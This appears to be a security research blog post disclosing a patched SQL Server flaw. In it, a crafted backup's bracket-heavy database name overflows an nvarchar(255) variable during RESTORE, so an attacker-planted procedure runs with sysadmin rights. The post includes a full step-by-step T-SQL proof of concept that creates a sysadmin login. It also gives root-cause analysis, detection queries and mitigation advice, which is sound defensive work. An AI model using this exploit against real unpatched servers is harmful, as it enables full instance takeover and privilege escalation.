CVE-2026-47295 is a SQL Server vulnerability that lets a maliciously crafted database backup execute attacker-controlled code with sysadmin privileges during a routine RESTORE DATABASE operation.
The flaw lives in the internal replication cleanup procedure sys.sp_MSremovedbreplication_internal, which builds a dynamic procedure name from the restored database’s name using QUOTENAME(). Because the destination variable is only nvarchar(255), a carefully crafted database name — one packed with closing square brackets — causes the generated name to be silently truncated into a different, attacker-controlled procedure name.
SQL Server then executes that procedure under an elevated internal restore context. The proof of concept detailed in this article demonstrates full instance compromise: a restored backup creates a new SQL Server login and adds it to the sysadmin fixed server role, with no application input, no visible SQL injection syntax, and no chance for an administrator to review the database first.
This article is part of Fabiano Amorim’s series on SQL Server vulnerabilities you may not be aware of.
A quick introduction to SQL Server backups
SQL Server backups are usually treated as data. A .bak file is something we restore, validate, refresh into QA, move between environments, use for migrations, or load during disaster recovery exercises. It’s common to think about the data inside the backup: tables, indexes, stored procedures, users, permissions, and application state.
However, a backup is more than just the data within it. It also contains metadata, object names, replication state, and database-level configurations. And, in some restore paths, that metadata is not just loaded – it’s acted upon by SQL Server itself.
The SQL Server CVE-2026-47295 vulnerability – and why it’s so unique
In this article, I’ll reveal and explain a vulnerability I reported to Microsoft. It was assigned CVE-2026-47295 and fixed in the July 2026 SQL Server security update.
While the vulnerability has been fixed, I will refer to it in the present tense for the purposes of this article.
The vulnerability exists in SQL Server’s restore / replication-cleanup path. More specifically, it’s reachable when a replication-enabled database is restored and SQL Server invokes internal replication cleanup procedures. The vulnerable procedure is sys.sp_MSremovedbreplication_internal.
At a high level, the issue is a truncation-based SQL injection / procedure-name injection vulnerability. SQL Server builds a procedure name dynamically using the restored database name, stores it in a variable that is too small, silently truncates the value, and then executes the truncated procedure name under an elevated internal restore context.
The result is serious. A maliciously crafted backup can cause attacker-controlled T-SQL to execute during RESTORE DATABASE before an administrator even has a chance to review the restored database.
The proof-of-concept demonstrates full instance compromise by creating a new SQL Server login and adding it to the sysadmin fixed server role.
This article is part of Fabiano Amorim’s series on SQL Server vulnerabilities you weren’t aware of – click here for more.
Why this SQL Server vulnerability is so interesting (and unique)
Most SQL injection vulnerabilities are fairly easy to categorize, but this one’s slightly different. There’s no classic web form, application query, or obvious DROP TABLE payload. And the attacker isn’t directly passing text into a stored procedure and waiting for it to be concatenated into a batch.
Instead, the vulnerable input is a database identifier. The attack abuses how SQL Server constructs a three-part procedure name during restore: [database_name].sys.sp_MSremovedbreplication (which is stored in an nvarchar(255) variable.) This is fine under normal database names but, under a carefully crafted database name, it’s not long enough.
The string being truncated is not the only issue, though. The real problem is that the truncation can turn the intended procedure name into a different, attacker-controlled procedure name – the key idea behind this vulnerability.
While the engine intended to execute this: [restored_database].sys.sp_MSremovedbreplication – the variable is too small, so the generated procedure name can easily be truncated into something equivalent to [attacker_controlled_schema].sy.
So, if the attacker has prepared a stored procedure named sy under a matching schema inside the database backup, SQL Server executes that attacker-controlled procedure during the restore process. And because this happens inside the restore / replication-cleanup path, the attacker-controlled procedure runs under an elevated internal context.
The restore / replication call chain
The vulnerable path starts during RESTORE DATABASE.
When SQL Server restores a database, it may need to deal with replication metadata. This is especially important when the database being restored was configured as a transactional publisher, merge publisher, distributor, transactional subscriber, or merge subscriber.
SQL Server uses the sys.sp_restoredbreplication procedure as part of that flow, and the header comment in this procedure explains its purpose clearly:
/*
* used by restore process to strip out replication settings if restoring to non-originating
* server/db or system otherwise not capable of keeping replication working
* WARNING : procs called here run internal to server and must be owner qualified
*/That warning is important. It tells us these procedures are not ordinary application procedures – they are part of a trusted internal restore path.
sys.sp_restoredbreplication first checks whether the caller has a role that is allowed to restore the database:
if (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
and (ISNULL(IS_SRVROLEMEMBER('dbcreator'),0) = 0)
and (ISNULL(IS_MEMBER('db_owner'),0) = 0)
begin
raiserror(18799, 16, -1)
return 1
endIt then checks whether the restored database contains replication-related objects. For example:
if object_id(N'syspublications', N'U') is not null
or object_id(N'syspublications', N'V') is not null
or object_id(N'sysmergepublications', N'U') is not null
or object_id(N'MSreplication_subscriptions', 'U') is not null
or object_id(N'MSmerge_replinfo', 'U') is not null
begin
exec @retcode = sys.sp_MSrestoredbreplication
@srv_orig = @srv_orig,
@db_orig = @db_orig,
@keep_replication = @keep_replication,
@perform_upgrade = @perform_upgrade,
@recoveryforklsn = @recoveryforklsn
endSo, the first part of the call chain is:
RESTORE DATABASE
-> sys.sp_restoredbreplication
-> sys.sp_MSrestoredbreplicationInside sys.sp_MSrestoredbreplication, SQL Server determines whether replication should be removed from the restored database. One condition is whether the database is being restored to a different server or under a different database name, and whether KEEP_REPLICATION was requested or not. The relevant condition is:
if (( UPPER(@srv_orig) <> UPPER(@@SERVERNAME) ) or ( @db_orig <> @db_curr ))
and @keep_replication = 0
begin
select @remove_repl = 1
...
endLater, if replication is installed and cleanup is required, SQL Server calls the vulnerable procedure:
if ( @repl_installed = 1 ) and ( @remove_repl = 1 ) begin
if @requires_replication_fs = 1 DBCC TRACEON (8224, -1)
exec sys.sp_MSremovedbreplication_internal
@dbname = @db_curr,
@ignore_distributor = 1,
@from_backup = 1
if @requires_replication_fs = 1 DBCC TRACEOFF (8224, -1)
endNow, the call chain becomes:
RESTORE DATABASE
-> sys.sp_restoredbreplication
-> sys.sp_MSrestoredbreplication
-> sys.sp_MSremovedbreplication_internal…and the vulnerability is in that last procedure.
The vulnerable code
Here’s the relevant part of sys.sp_MSremovedbreplication_internal:
create procedure sys.sp_MSremovedbreplication_internal
(
@dbname sysname,
@type nvarchar(5) = 'both',
@ignore_distributor bit = 0,
@from_backup bit = 0
)
AS
SET NOCOUNT ON
DECLARE @retcode int
DECLARE @proc nvarchar(255)
DECLARE @restoreoverride int
DECLARE @db_status sysname
DECLARE @ErrorMessage NVARCHAR(4000)
...The important variable is DECLARE @proc nvarchar(255). The procedure then builds a dynamic procedure name:
SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'
EXEC @retcode = @proc
@type = @type,
@ignore_distributor = @ignore_distributor,
@from_backup = @from_backupAt first glance, this looks reasonable. The code isn’t building a raw batch like EXEC('...'). Instead, it’s building an object name and then executing it: EXEC @retcode = @proc ...
The database name is also passed through QUOTENAME(), which is usually the right function to use when converting an identifier into a delimited identifier. The intended result is [DatabaseName].sys.sp_MSremovedbreplication.
The problem, however, is the size of @proc. A SQL Server sysname can be up to 128 characters, but QUOTENAME() can make the resulting string much longer, especially when the input contains closing square brackets (]). This is because every ] inside a bracket-delimited identifier must be escaped by doubling it.
For example, a database name made of many ] characters expands significantly when passed through QUOTENAME(). If the database name is 125 closing brackets, then:
Original database name length: 125
QUOTENAME(@dbname) length: 252
Suffix length: 29
Full procedure name length: 281The suffix is .sys.sp_MSremovedbreplication, but @proc can only hold 255 characters: DECLARE @proc nvarchar(255).
This results in SQL Server silently truncating the generated procedure name during assignment, which changes the meaning of the procedure name in the process.
So, instead of storing the full intended value – [escaped_database_name].sys.sp_MSremovedbreplication – the variable ends with only the first few characters of the suffix: [escaped_database_or_schema_name].sy. This is enough to redirect execution.
Why the crafted name works
The proof-of-concept uses a database name made of 125 closing square brackets:
]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]This looks strange, but is in fact a valid delimited identifier. The reason it’s useful is because of how QUOTENAME() escapes closing brackets. A simplified example being SELECT QUOTENAME(N']'), which returns just []]]. That is:
Opening bracket: [
Escaped closing bracket: ]]
Closing bracket: ]Every ] in the original name becomes ]] in the quoted name, so when the original database name contains 125 ] characters, the quoted version becomes very large! When SQL Server then appends .sys.sp_MSremovedbreplication, the generated string no longer fits inside nvarchar(255).
The attacker chooses the database-name length so that the truncation happens at a useful point: after .sy. This means the variable no longer references the intended system procedure – it references a shorter name ending in sy. The attacker then creates a matching schema and stored procedure inside the malicious database:
CREATE SCHEMA [same crafted name]
GO
CREATE PROC [same crafted name].[sy]
...When SQL Server later executes the truncated @proc value, name resolution reaches the attacker-controlled procedure. This is the core of the vulnerability:
1. SQL Server builds an intended procedure name from a database name.
2. The database name is attacker-controlled through the restored backup.
3. QUOTENAME() expands the database name.
4. The generated procedure name is longer than nvarchar(255).
5. SQL Server truncates the value.
6. The truncated value becomes a valid attacker-controlled procedure name.
7. SQL Server executes that procedure under the elevated restore context.Why is this a SQL Server privilege escalation?
Put simply, the attacker doesn’t just cause an error – they get code execution inside a privileged internal workflow within the SQL Server.
This is possible because the procedure sys.sp_MSremovedbreplication_internal is part of the restore / replication cleanup path – and the restore engine invokes this path while handling replication metadata.
According to the behavior observed in the proof-of-concept, the attacker-controlled stored procedure executes under an internal elevated context (effectively sa). This changes the impact completely, as no longer is the attacker-controlled procedure ran as the low-privileged login that created the database (interesting, but not critical).
Instead, the attacker-controlled procedure can run as the elevated restore context, and the malicious backup can become a vehicle for privilege escalation. The proof-of-concept demonstrates this by creating a new login:
CREATE LOGIN [NewSysAdminLogin]
WITH PASSWORD=N'complexpwd', CHECK_POLICY=OFF…and then adding it to the sysadmin fixed server role:
ALTER SERVER ROLE [sysadmin] ADD MEMBER [NewSysAdminLogin]After the restore completes, the login exists on the target instance, and is a sysadmin. This is full-instance compromise.
Protect your data. Demonstrate compliance.
Full reproduction of the vulnerability (step-by-step guide)
The following full reproduction of the security vulnerability should be run only in an isolated lab environment. The scenario uses two SQL Server instances:
Instance A: attacker-controlled build instance
Instance B: target restore instanceThe attacker prepares the malicious backup on Instance A, and the backup is restored on Instance B. The restore on Instance B then triggers the replication cleanup path, causing SQL Server to execute the attacker-controlled procedure.
Step 1: Create a database using a crafted name
First, create a database with a name made of 125 closing square brackets:
USE master
GO
CREATE DATABASE "]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"
GOThis database name is important because it causes QUOTENAME(@dbname) to expand enough that this expression becomes longer than 255 characters: quotename(@dbname) + '.sys.sp_MSremovedbreplication'. The vulnerable procedure then stores that expression in @proc nvarchar(255), which causes truncation.
Step 2: Enable replication publishing
The vulnerable restore path is only reached when SQL Server detects replication-related metadata. Enable publishing on the crafted-name database:
EXEC sp_replicationdboption
@dbname =
N']]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]',
@optname = N'publish',
@value = N'true'
GOThis step ensures the database carries replication state so that, during restore, SQL Server invokes the replication cleanup workflow. Without this replication state, sp_restoredbreplication may not call the deeper replication cleanup procedures.
Step 3: Create the attacker-controlled schema and procedure
Switch to the crafted-name database…
USE
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"
GO…and then create a schema with it:
CREATE SCHEMA
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"
GOUnder the schema, create a stored procedure called sy:
CREATE PROC
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]".
"sy"
@type NVARCHAR(5) = '',
@ignore_distributor BIT = 0,
@from_backup BIT = 0
AS
BEGIN
BEGIN TRY
IF SUSER_ID('NewSysAdminLogin') IS NULL
BEGIN
CREATE LOGIN [NewSysAdminLogin]
WITH PASSWORD=N'complexpwd',
CHECK_POLICY=OFF;
ALTER SERVER ROLE [sysadmin]
ADD MEMBER [NewSysAdminLogin];
END
END TRY
BEGIN CATCH
PRINT ERROR_MESSAGE();
END CATCH
END
GOThe procedure signature is intentional. The vulnerable code later calls the generated procedure name with these parameters:
@type = @type,
@ignore_distributor = @ignore_distributor,
@from_backup = @from_backupTherefore, the attacker-controlled procedure must accept compatible parameters. The payload in this demonstration creates a SQL login and adds it to sysadmin. This isn’t required for exploitation, but is a clear way to prove that the code executed with elevated server-level privileges.
Step 4: Back up the database
Back up the crafted database:
BACKUP DATABASE
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"
TO DISK = N'C:\Temp\Backup\Test1.bak'
WITH
NAME = N'Test1-Full Database Backup',
SKIP,
NOREWIND,
NOUNLOAD,
STATS = 10
GOAt this point, the malicious content is inside the backup – this content being:
- A replication-enabled database
- A crafted database name
- A crafted schema name
- A stored procedure named sy
- A payload that creates a sysadmin loginStep 5: Restore the backup on a different instance
Now, move the backup to another SQL Server instance, and restore it there:
USE [master];
GO
RESTORE DATABASE
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"
FROM DISK = N'C:\Temp\Backup\Test1.bak'
WITH
FILE = 1,
MOVE N'Tmp1' TO N'C:\Temp\Tmp1.mdf',
MOVE N'Tmp1_log' TO N'C:\Temp\Tmp1_log.ldf',
REPLACE
GOBecause the database is restored on a different instance, SQL Server determines that replication cleanup is required. This is the trigger for the vulnerability. The restore path now calls sys.sp_restoredbreplication, which in turn calls sys.sp_MSrestoredbreplication and then, finally, sys.sp_MSremovedbreplication_internal.
Then, inside sys.sp_MSremovedbreplication_internal, SQL Server builds the intended procedure name:SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'
However, the value is truncated, because @proc is only nvarchar(255). This truncated procedure name resolves to the attacker-controlled procedure:
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"."sy"SQL Server now executes it with the parameters expected by the original internal call.
Step 6: Verify the result
After the restore, check whether the login was created and whether it’s a sysadmin:
SELECT
SUSER_ID('NewSysAdminLogin') AS loginid,
IS_SRVROLEMEMBER('sysadmin', 'NewSysAdminLogin') AS is_sysadmin;
GOThe result should be:
loginid is_sysadmin
----------- -----------
381 1The exact loginid may differ, but is_sysadmin = 1 confirms the impact. The attacker-controlled procedure executed during restore and successfully added a new member to the sysadmin server role.
What’s the root cause of this SQL Server vulnerability?
The root cause is unsafe dynamic procedure-name construction, combined with too small a buffer for the maximum possible quoted identifier.
The vulnerable declaration is DECLARE @proc nvarchar(255), and the vulnerable assignment is SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'.
The assumption appears to be that 255 characters is enough to hold the generated procedure name – but it’s not, since @dbname is sysname and can therefore be up to 128 characters.
And, because QUOTENAME() must escape closing brackets, a valid 125-character database name can expand to 252 characters after quoting. Once the suffix is appended, the generated value becomes 281 characters.
Clearly, this doesn’t fit in nvarchar(255), so SQL Server silently truncates the value – and that truncated value is still syntactically valid enough to be executed as a procedure name. The result is a procedure-name injection primitive.
So, the vulnerability is not caused by QUOTENAME() being unsafe – it’s just doing what it’s supposed to do. The actual problem is that the code doesn’t allocate enough space for the result of QUOTENAME() and the suffix.
This is exactly why, in security-sensitive dynamic SQL paths, truncation can very easily escalate from a simple ‘correctness’ bug to a far more significant – and dangerous – code execution bug.
Why QUOTENAME wasn’t enough
QUOTENAME() is often recommended for safely delimiting SQL Server identifiers, and that recommendation is still valid. However, it only helps if the result is preserved correctly. This pattern, for example, is unsafe:
DECLARE @proc nvarchar(255);
SELECT @proc = QUOTENAME(@dbname) + N'.sys.SomeProcedure';
EXEC @proc;The safe version must ensure the destination variable can always hold the fully-generated string. For this case, the maximum size must account for:
Maximum sysname input: 128 characters
Worst-case escaped brackets: up to 256 characters
Wrapping brackets: 2 characters
Suffix: length of ".sys.sp_MSremovedbreplication"Therefore the buffer must be larger than 255 characters. A safer declaration would be
DECLARE @proc nvarchar(4000);, or another size large enough to hold the maximum possible quoted identifier and suffix.
Size alone is not the only lesson to learn here. The code should also validate that the generated value was not truncated, avoid executing attacker-influenced object names where possible, and ensure that internal elevated paths cannot resolve to user-created objects.
Why this vulnerability matters for restore workflows
This SQL Server vulnerability is important because it changes how we should think about database restores.
Restoring a database is often considered a safe administrative operation, as long as the administrator trusts the person requesting the restore, or trusts the source of the backup. However, the restore process itself can execute internal code paths that interact with restored metadata.
In this case, the dangerous combination was:
Untrusted backup
+ Replication metadata
+ Crafted database / schema names
+ Internal restore cleanup
+ Elevated execution context
+ Truncation of a dynamic procedure name
= Privilege escalation
This is especially relevant in environments where restores are routine, such as:
- QA refreshes
- Disaster recovery tests
- Production support restores
- Customer-provided backup analysis
- Migration dry runs
- Vendor application troubleshooting
- Managed database service operations
A DBA may restore a backup just to inspect it, and a consultant may restore a customer database in a lab. What about a cloud provider? They could restore customer databases as part of managed workflows. Not to mention the internal teams restoring a copy of production into a lower environment every night…
They’re all vulnerable: if the backup is malicious, the restore itself may be the moment the attack lands.
Subscribe to the Simple Talk newsletter
What’s the impact of this SQL Server vulnerability?
The demonstrated impact of this vulnerability is full SQL Server instance compromise. Once attacker-controlled T-SQL runs as the elevated restore context, the attacker can do anything that context can do.
The proof-of-concept creates a new login and adds it to sysadmin, but that’s only one example. Depending on configuration and privileges, an attacker could potentially:
- Create or modify server-level logins
- Add users to privileged server roles
- Change server configuration
- Disable or weaken auditing
- Read or modify data in other databases
- Create persistence through jobs, procedures, triggers, or credentials
- Stage further attacks through SQL Server Agent or external features
Bottom line: a restored database should not be able to execute attacker-controlled code as sa during restore – but this vulnerability allowed exactly that to happen.
How to detect the vulnerability
After applying the Microsoft security update, the primary mitigation is patching. However, defenders may still want to hunt for signs of prior exploitation or suspicious restore activity. Useful areas to review include:
Recently restored databases with unusual names
Look for database names containing unusual quantities of closing square brackets or other suspicious identifier patterns, such as:
SELECT
name,
create_date,
modify_date
FROM sys.databases
WHERE name LIKE '%]%'
ORDER BY create_date DESC;A database name containing ] is not automatically malicious, but a very long sequence of closing brackets is highly unusual.
Suspicious schemas and procedures
Look for schemas and procedures with unusual names in recently restored databases. For a specific database:
SELECT
s.name AS schema_name,
o.name AS object_name,
o.type_desc,
o.create_date,
o.modify_date
FROM sys.objects AS o
JOIN sys.schemas AS s
ON o.schema_id = s.schema_id
WHERE s.name LIKE '%]%'
OR o.name IN (N'sy')
ORDER BY o.create_date DESC;Again, sy is not inherently malicious but – in the context of this vulnerability – a procedure named sy under a strange bracket-heavy schema is suspicious.
Unexpected sysadmin role membership
Check recent and unexpected sysadmin members:
SELECT
sp.name AS login_name,
sp.type_desc,
sp.create_date,
sp.modify_date
FROM sys.server_role_members AS srm
JOIN sys.server_principals AS role_principal
ON srm.role_principal_id = role_principal.principal_id
JOIN sys.server_principals AS sp
ON srm.member_principal_id = sp.principal_id
WHERE role_principal.name = N'sysadmin'
ORDER BY sp.create_date DESC;If a new login appeared around the time of a restore, investigate immediately.
Restore history
Review restore history in msdb:
SELECT
rh.restore_date,
rh.destination_database_name,
rh.user_name,
bs.database_name AS source_database_name,
bmf.physical_device_name
FROM msdb.dbo.restorehistory AS rh
LEFT JOIN msdb.dbo.backupset AS bs
ON rh.backup_set_id = bs.backup_set_id
LEFT JOIN msdb.dbo.backupmediafamily AS bmf
ON bs.media_set_id = bmf.media_set_id
ORDER BY rh.restore_date DESC;This can help correlate suspicious server-level changes with database restores.
Default trace, audit, Extended Events, and SIEM logs
Depending on your logging configuration, review events around:
RESTORE DATABASECREATE LOGINALTER SERVER ROLE- Changes to SQL Server Agent jobs
- Changes to auditing configuration
- Creation of suspicious stored procedures after restore
If SQL Server Audit is enabled, check for server principal and role membership changes.
How to prevent the vulnerability (mitigation)
The most important mitigation is to apply the SQL Server security update that fixes CVE-2026-47295. Beyond patching, though, the broader operational recommendations are:
Treat untrusted backups as untrusted code
A backup from an unknown or lower-trust source should not be restored directly onto a sensitive SQL Server instance.
Use isolated restore environments for vendor and customer-provided backups, and backups from compromised environments, lower-trust networks, and those used for malware or incident response analysis.
Avoid restoring untrusted backups on production-adjacent instances
A “temporary” restore on a shared administrative instance can still expose sensitive credentials, linked servers, jobs, or privileged service accounts. Use disposable lab instances whenever possible.
Monitor restore workflows
Organizations often monitor application queries but pay less attention to restore operations. This is dangerous – you should be paying attention to restore operations.
After all, a restore is a privileged event, one that can introduce metadata, code, users, permissions, jobs, and configuration assumptions. It should be logged, reviewed, and correlated with server-level changes.
Review replication artifacts after restore
Replication metadata is complex and often trusted by internal SQL Server workflows. After restoring a database with replication artifacts, you should always review replication system tables and stored procedures, triggers, agent jobs, database ownership, and suspicious schemas and object names.
However, this vulnerability shows that post-restore review is not always sufficient. If the restore itself can trigger code execution, the review may happen too late.
Follow least privilege for restore operators
The ability to restore databases is powerful. Users with restore permissions may be able to introduce databases, metadata, ownership chains, and potentially dangerous objects into an instance. Even after this specific vulnerability is patched, restore rights should be treated as sensitive administrative permissions.
The importance of secure T-SQL development
This vulnerability also emphasizes the importance of secure T-SQL development. Some key takeaways are:
Identifier quoting must include buffer sizing
Using QUOTENAME() is not enough if the result is stored in a variable that can truncate it. Any code like this should be reviewed carefully:
DECLARE @sql nvarchar(255);
SET @sql = QUOTENAME(@name) + N'.some.long.suffix';The maximum output of QUOTENAME() must be considered.
Truncation can be exploitable
In dynamic SQL, string truncation can often transform from being just a reliability problem into being a security problem. This is because a truncated string may still be syntactically valid and – worse still – it may even become valid in a different way than the developer intended. That’s exactly what happened in this vulnerability.
Elevated internal workflows must not resolve attacker-controlled objects
If an internal elevated procedure must execute another procedure, it should avoid name resolution paths that can be influenced by attacker-controlled database metadata.
This is especially important during restore, attach, upgrade, replication cleanup, and other operations where SQL Server processes metadata that originated outside the current instance.
Restore is a trust boundary
Restore code processes external data, so should be designed with the same level of suspicion as import parsers, deserializers, and migration engines. Yes, a backup may come from SQL Server, but that doesn’t mean it’s a trusted SQL Server.
Conclusion
CVE-2026-47295 is a good example of why SQL Server security research often becomes interesting at the boundary between data, metadata, and internal engine workflows. This vulnerability isn’t a classic application SQL injection, or a simple missing quote escape. Instead, it’s a truncation bug in an internal restore / replication-cleanup procedure.
The vulnerable procedure built a procedure name using quotename(@dbname) + '.sys.sp_MSremovedbreplication', and stored the result in nvarchar(255).
For a carefully crafted database name, the quoted identifier plus suffix exceeded 255 characters, so SQL Server silently truncated the value. That truncated value could then be shaped into a valid reference to an attacker-controlled procedure inside the restored database.
During RESTORE DATABASE, SQL Server followed the replication cleanup path:
RESTORE DATABASE
-> sys.sp_restoredbreplication
-> sys.sp_MSrestoredbreplication
-> sys.sp_MSremovedbreplication_internal
-> attacker-controlled procedureBecause that path ran under an elevated internal context, the attacker-controlled procedure executed with enough privileges to create a new login and add it to sysadmin.
The most important takeaway is simple: a database backup is not just data. It’s metadata, code, configuration, and trust assumptions packaged into a file.
When that file is restored, SQL Server may act on those assumptions automatically. That makes restore workflows a security boundary — and security boundaries deserve the same scrutiny as any other path that processes untrusted input.
FAQs: The SQL Server CVE-2026-47295 security vulnerability
1. What is the SQL Server CVE-2026-47295 security vulnerability?
It’s a SQL Server vulnerability in the restore/replication-cleanup code path that allows a malicious backup file to execute attacker-controlled T-SQL with elevated (effectively sysadmin) privileges when it’s restored.
2. Which SQL Server component is affected?
The vulnerable code is in sys.sp_MSremovedbreplication_internal, reached via the call chain RESTORE DATABASE → sys.sp_restoredbreplication → sys.sp_MSrestoredbreplication → sys.sp_MSremovedbreplication_internal.
3. How does the exploit work?
The procedure builds a dynamic name with QUOTENAME(@dbname) + '.sys.sp_MSremovedbreplication' and stores it in an nvarchar(255) variable. A database name made of many closing square brackets (]) expands past 255 characters after quoting, so SQL Server truncates it — and the truncated string resolves to an attacker-planted stored procedure instead.
4. What's the real-world impact?
Full instance compromise. The proof of concept creates a new SQL Server login and adds it to the sysadmin server role purely by restoring a backup — before any admin has reviewed the restored database.
5. Do I need to do anything besides patch?
Patching is the primary fix. Beyond that, treat untrusted backups (vendor, customer, or lower-trust source) as untrusted code: restore them only in isolated lab instances, monitor restore activity, and audit unexpected sysadmin role membership and unusual database/schema names (e.g., long runs of ]).
6. Is this a traditional SQL injection vulnerability?
No. There’s no application form or string concatenation involved — it’s a procedure-name injection caused by silent string truncation of a dynamically built object name, triggered purely through database/schema naming and backup/restore.
The post How a SQL Server backup can execute attacker code during restore – and how to prevent it (CVE-2026-47295 vulnerability) appeared first on Simple Talk.

